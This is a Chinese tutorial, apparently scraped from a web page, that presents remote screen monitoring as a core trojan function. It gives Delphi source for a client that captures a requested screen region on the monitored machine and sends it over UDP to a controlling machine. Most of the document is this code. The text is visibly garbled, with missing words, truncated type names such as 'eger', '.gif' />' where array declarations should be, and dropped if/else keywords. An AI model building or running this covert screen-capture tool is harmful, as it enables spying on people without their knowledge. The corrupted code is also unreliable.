木马
个很重要
功能就是远程监视屏幕
下面
文章讲述了怎样利用UDP协议来实现
而不是我们通常用到
tcp/ip协议
很有特色
值得
学
、软硬件要求
Windows95/98对等网
用来监视
计算机(以下简称主控机)和被监视
计算机(以下简称受控机)都必须装有TCP/IP 协议
并正确配置
如没有网络
也可以在
台计算机上进行调试
2、实现思路方法
编制两个应用
个为VClient.exe
装在受控机上
另
个为VServer.exe
装在主控机上
VServer.exe指定要监视
受控机
IP地址和将要在受控机屏幕上抓取区域
大小和位置
并发出屏幕抓取指令给VClient.exe
VClient.exe得到指令后
在受控机屏幕上选取指定区域
生成数据流
将其发回主控机
并在主控机上显示出抓取区域
BMP图象
由以上过程可以看出
该思路方法
关键有 2:
是如何在受控机上进行屏幕抓取
2是如何通过TCP/IP协议在两台计算机中传输数据
UDP(User Datagram Protocol
意为用户报文协议)是Internet上广泛采用
通信协议的
和TCP协议区别
它是
种非连接
传输协议
没有确认机制
可*性不如TCP
但它
效率却比TCP高
用于远程屏幕监视还是比较适合
同时
UDPControl控件不区分服务器端和客户端
只区分发送端和接收端
编程上较为简单
故选用UDP协议
使用Delphi 4.0提供
TNMUDPControl控件
3、创建演示
第
步
编制VClient.exe文件
新建Delphi工程
将默认窗体
Name属性设为“Client”
加入TNMUDPControl控件
Name属性设为“CUDP”;LocalPort属性设为“1111”
让Control控件CUDP监视受控机
1111端口
当有数据发送到该口时
触发Control控件CUDP
OnDataReceived事件;RemotePort属性设为“2222”
当Control控件CUDP发送数据时
将数据发到主控机
2222口
在implementation后面加入变量定义
const BufSize=2048;{ 发送每笔数据缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Long;{ 发送每笔数据后剩余字节数 }
为ClientOnCreate事件添加代码:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
为ClientOnDestroy事件添加代码:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
为Control控件CUDPOnDataReceived事件添加代码:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:.gif' />[0..29] of char;
Buf:.gif' />[0..BufSize-1] of char;
TmpStr:;
SendSize,LeftPos,TopPos,RightPos,BottomPos:eger;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’show’ then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
BmpStream.Size=0 then { 没有数据可发必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr) -Pos(’:’,TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos(’:’,TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos’:’,TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }
end;
LeftSize>BufSize then SendSize:=BufSize
SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机2222口 }
end;
end;
其中ScreenCap是自定义截取屏幕指定区域代码如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:eger);
var
RectWidth,RectHeight:eger;
SourceDC,DestDC,Bhandle:eger;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC(’DISPLAY’,’’,’’,nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”并编译
第 2步编制VServer.exe文件
新建Delphi工程将窗体Name属性设为“Server”加入TNMUDPControl控件Name属性设为“SUDP”;LocalPort属性设为“2222”让Control控件SUDP监视主控机2222端口当有数据发送到该口时触发Control控件SUDPOnDataReceived事件;RemotePort属性设为“1111”当Control控件SUDP发送数据时将数据发到受控机1111口加入Control控件Image1Align属性设为“alClient”;加入Control控件Button1Caption属性设为“截屏”;加入Control控件Label1Caption属性设为“左:上:右:下”;加入Control控件Edit1Text属性设为“0:0:100:100”;加入Control控件Label2Caption属性设为“受控机IP地址”;加入Control控件Edit2Text属性设为“127.0.0.1”;
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
为ServerOnCreate事件添加代码:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
为ClientOnDestroy事件添加代码:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
为Control控件Button1onClick事件添加代码:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:.gif' />[0..29] of char;ReqCodeStr:;
begin
ReqCodeStr:=’show’+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
为Control控件SUDPOnDataReceived事件添加代码:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:.gif' />[0..29] of char;ReqCodeStr:;
begin
ReqCodeStr:=’show’+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
begin
TmpStream.Clear;
ReqCode:=’show’;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存为“C:\VServer\SvrUnit.pas”和“C:\VServer\VServer.dpr”并编译
4、测试
1、本地机测试:在本地机同时运行Vserver.exe和VClient.exe利用默认设置即可实现截屏查看“控制面板”-“网络”-“TCP/IP”-“IP地址”将“客户IP地址”设为该地址 同样正常运行
2、远程测试:选台受控机运行VClient.exe;另选台主控机运行VServer.exe将“受控机IP地址”即Edit2内容设为受控机IP地址“截屏”即可以上简要介绍了远程屏幕抓取实现思路方法至于在主控机上屏同时监视多个受控机读者可自行完善以上在Windows98对等网、Delphi 4.0下调试通过
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